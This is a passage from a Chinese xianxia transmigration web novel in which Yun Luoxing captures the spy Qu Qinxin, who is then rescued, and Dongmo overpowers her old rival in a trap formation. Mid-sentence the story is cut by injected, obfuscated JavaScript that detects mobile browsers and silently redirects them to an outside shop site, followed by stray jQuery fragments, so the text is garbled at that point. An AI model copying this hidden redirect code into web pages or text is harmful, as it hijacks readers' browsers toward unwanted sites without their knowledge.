“什么?”曲琴心还以为是自己剧情走快了,对方想用自己的暗名而不是她起的名,“抱歉,是我唐突了,但是你的身体没好,最好不要随意乱动。”
岳己不耐烦地挥了挥手:“好了,有人找你。”
曲琴心疑惑看向身后,还未转头便被突如其来的刑荆棘扎穿了脚腕。
干枯树枝一般的刑荆棘疾行如电将曲琴心捆了个结实,末了顺着穿刺处一拽,并未炼体的脆弱身躯就这样被带倒在地。
云落星现了身形,跪坐在曲琴心膝窝处,一手压实了她的后颈。
“是你……”曲琴心精致打扮过的脸被砂石磨出了血,此刻却只顾着侧过头盯着云落星,恨不得将她的脸也盯出个洞来。
“哎呀呀。”云落星一脚踹开了她未拿稳落在手边的琴,又迅速将她正在发亮的耳坠扯了下来,“要跑吗?怎么不带我一个呢,404?”
曲琴心不顾身上各处的疼痛挣扎起来,惊恐地看着那耳坠还在闪烁便被云落星挂断了:“你怎么会知道的!”
“少说废话。”云落星从曲琴心乾坤袋中又寻出了员工卡,和耳坠一起收到自己袋中,“开通信,把我们俩一起送回去。”
云落星顿了顿,手上用劲,直按得曲琴心呼吸困难:“或者你再也别回去了。”
“你……你凭什么这样对我……”曲琴心声调扭曲着从喉咙里挤出话来,“都怪你,都怪你……就是死在这也不要你回去。”
什么意思?
云落星可没真打算直接把曲琴心弄死在这,最优解还是强迫她服软把自己送回去比较省心,可是这人又在说些什么怪话?
“我怎么对你了?”云落星微微松手好让她说话,“我们素不相识你上来就下杀手,我还没追究呢。”
“哈!不认识曲琴心,至少认识秦心吧?”秦心张狂大笑着,眼中反倒凝着泪,“喜欢暴力执法就自己用啊?我倒要看看你怎么用拳头把自己送回去!”
云落星取出员工卡,果然是秦心的身份识别,但她还在脑中搜寻这个耳熟的名字时,却是隐约感到一阵威压,倒跃两步,手中紧握刑荆棘的一端,将秦心也带了个踉跄。
“谁?”旁边看戏的岳己也看向了那个方向,做出了防卫姿态。
在众人皆未反应过来的时候,空气中竟是出现一只手,不顾刑荆棘满是尖刺,从云落星握着的前端将其折断。
岳己回身顺着破绽攻击,火焰倒流,勾勒出来袭者的身影。
“不好意思。”来者居然是楚泠夜,他并未做出还击,快速卷了秦心,仅仅几秒,又一次消失在空气中。
虽然只有一瞬间,岳己还是看清了那张逆天的脸,他皱起眉头:“他们是一起的?那还真是难办。雪夜焰擅影术,若是弑神台上还好,在这台下,就算是你那个嫁妆朋友来了,也难抓。”
啧,还真是漏下一个都不行。云落星恨恨地将手中半截刑荆棘扔在地上,忽然觉得有些不对。
岳己他打不过,扛着攻击走就算了,那她又不是什么厉害人物,他抢人何必伤及自身,直接一掌拍开她握荆棘的手不就好了?
云落星揉按着发疼的眉弓,这一天天的破事儿真是让人操心。
还有那个秦心……
她念念叨叨地回味着这个名字,忽然有了些头绪。
前部长姐姐秦风,新部长妹妹秦雨,这个秦心,不正是秦风的女儿么?
云落星想起了秦心身份,却愈发头痛起来。秦风和她一直相处甚好,秦雨倒是与她有不少工作冲突,这个秦心和她并怎么打过交道,总不能是为了小姨报复吧?那也太真情实感了些。
好在提前卸了她的耳坠,收了她的员工卡。云落星想想都一阵后怕,这要是让她回了主世界,自己上哪儿去寻。
“我跟你一起去找?”岳己将地上的狼藉稍微打扫了下,“要是不解决了她,我也不放心。”
云落星摇摇头:“你也说了,不好抓。不过秦心这人行事可以推测,她的东西在我这,总归会自己回来的。”
“那行。”岳己跳上了死胡同的墙顶,“有什么消息再通知我,我不在的话告诉霓姐也行。”
……
九仙宗,大别墅内。
冬沫局促地坐在桌前,两眼直盯着传信符,偶尔抬眼偷瞄气定神闲的池砚。
“你不担心吗?”冬沫纠结了很久还是开了口,“她一个人对付曲琴心耶,你在这儿又没事做,为什么不跟她一起去?”
他倒是想去。
池砚瞧了眼提灯底部坠着的空心灯坠,叹了口气。好说歹说才让云落星收了灯坠,别像收红包似的推来推去,至少没必要担心她的人身安全。
只是干坐着还是有些焦虑了。
“她有私事。”池砚没解决冬沫的疑虑,反倒和她一起盯起了传信符。
以至于传信符忽然亮起的一刹那两人皆是一惊。
“冬沫,准备一下,马上出发。”
两人又是同步松了口气。
“听起来没什么事,还是你更了解她的实力。”冬沫跟池砚单独呆着都快尴尬死了,好在云落星马上就到,她整个人都放松了些。
池砚随意应付了两句,心里苦笑,他哪是担心云落星实力不足,他是担心她实力太足,一去不归了。
大厅一阵闪光,云落星扫了眼,便将去找池砚的传送符收了起来:“聪明啊,知道直接来这儿,省得我跑两趟。”
“不浪费时间了,长话短说。”云落星随手往乾坤袋中捡了些灵植,“曲琴心让楚泠夜给救走了。”
她拍了拍冬沫示意她将传送牌准备好:“我本担心她给你下套,这下她一时半会回不来,正是我们去会会你那个仇人的好时候。”
“哦。啊?”冬沫听得一头雾水,“不是,那你怎么办?要不我自己去吧,你赶紧去抓曲琴心啊!”
“不着急,别松手。”云落星一手挽着冬沫,一手挽着池砚,将无形花和
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14100023|144791||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
蚀月花炼化,“曲琴心跑不了。你那人就不一定了。”
冬沫取出传送牌,三人贴近以免被牵拉的力扯开。
众人一落地,果然不出云落星所料,落点正在阵法中心,她迅速将炼化好的满月蚀月花朝着地上一扣,原本阵法运行的亮光全被弹射回去,发出不小的动静,宛若地狱传来的哀嚎。
房间另一侧的散发修士头也不回,只是对着窗外继续弹琴,片刻后口中叹息:“何必呢。我知道你在九仙宗日子还过得去,我不追究,只想各自安好。”
他倒是不嫌阵法被蚀月花弹射出的噪音大,也不在乎根本没人搭理他,弹着春风的小曲儿自言自语。
“当年你一来,整个圣音山都要成为你的陪衬。”他手下琴声渐强,颇有些音由心生的意思,“都是天赋之人,甚至我还比你早些,更加勤奋,更加强大。”
“凭什么圣音长老偏爱你的歌声,要我为你配曲?!”琴声争鸣,倒像是替他吼出了声,“后来你独唱便是绝妙之音,倒显得我们这些人多余。”
云落星在后面听得直皱眉,儿女不和多是长辈无德这句话的含金量还在飞升,这分明就是圣音长老偏心的事儿,这人琴技不差,不可能到多余的程度,倒是嫉妒让人乱了心,结果对冬沫痛下毒手。
“别再吵了!”他将琴弦狠狠一拨,“这阵法是我特制的,专门针对你那些虫子,和你的虫子死在一起你会开心点……吗?”
他总算是回过了头,看着眼前空无一物,只有阵法还在吱嘎作响的场景一时间愣了神。
冬沫毅然决然地松开了云落星的手,现出了身影。
经过与云落星一战,她早就认清了自己最大的两个问题——前摇过长和极度脆皮,而她也对此研究了不少应对方式。
前摇过长?压缩!直接把召唤阵提前准备好,只要灵力够,召唤符够,一气儿召出多少都没问题。
极度脆皮?炼体……炼倒是炼了,只不过把人家守一山的师姐气了个仰倒,最后退而求其次把敏捷点满了。
此刻身影一现,还未等禹一川眼睛瞪大,她就召了一串毒虫,待到对方反应过来要拨动琴弦,她又一个侧身直接将其按了个仰倒。
“你……你怎么可能!”禹一川是个传统乐修,被人近身,还丢了琴,只能等死,“琴心明明说你不可能逃脱这阵法,我也调查过,你只在万极山学了驭虫……”
见禹一川偷偷伸了手去摸乾坤袋,冬沫直接指挥毒虫朝着他的双臂咬去。
“我的手!你对我的手做了什么!”直到此时,禹一川才真切地感到恐慌,“没,没关系,没关系,她过会儿就来了……”
“谁啊?曲琴心?”云落星解开无形花的效果,把禹一川骇得又挣扎起来,“那真不好意思了,她受了点小伤,怕是没空来帮你咯。”
冬沫嘶哑的嗓音响起,在禹一川耳中宛若催命的魔鬼:“啊呀,这毒可是已经走到肘弯了,你再折腾一会儿就要走到心脏了。”